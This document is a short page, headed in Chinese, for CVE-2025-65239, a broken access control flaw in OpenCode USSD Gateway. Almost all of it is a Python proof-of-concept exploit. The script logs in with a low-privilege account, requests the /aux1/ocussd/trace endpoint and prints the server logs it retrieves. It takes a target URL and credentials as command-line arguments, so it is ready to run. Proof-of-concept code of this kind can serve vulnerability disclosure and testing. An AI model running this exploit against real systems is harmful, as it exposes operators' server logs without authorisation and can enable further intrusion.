CVE-2025-65239 OpenCode USSD Gateway 访问控制错误导致日志泄露

import requests import sys # CVE-2025-65239 PoC - OpenCode USSD Gateway Broken Access Control # Target: /aux1/ocussd/trace endpoint # Vulnerability: Allows low-privilege users to read server logs def exploit_cve_2025_65239(target_url, username, password): """ Exploit for CVE-2025-65239 Args: target_url: Base URL of the USSD Gateway (e.g., 'https://target.com') username: Low-privilege user account password: Password for the account Returns: Server logs if exploitation successful, None otherwise """ # Create session session = requests.Session() # Step 1: Authenticate with low-privilege account login_url = f"{target_url}/login" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Authentication failed with status code: {response.status_code}") return None print("[+] Authentication successful") # Step 2: Access the vulnerable trace endpoint trace_url = f"{target_url}/aux1/ocussd/trace" response = session.get(trace_url, timeout=10) if response.status_code == 200: print("[+] Successfully accessed /aux1/ocussd/trace endpoint") print("[+] Server logs retrieved:") print("-" * 50) print(response.text) print("-" * 50) return response.text else: print(f"[-] Failed to access trace endpoint. Status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {str(e)}") return None if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} https://ussd.example.com admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_65239(target, user, pwd)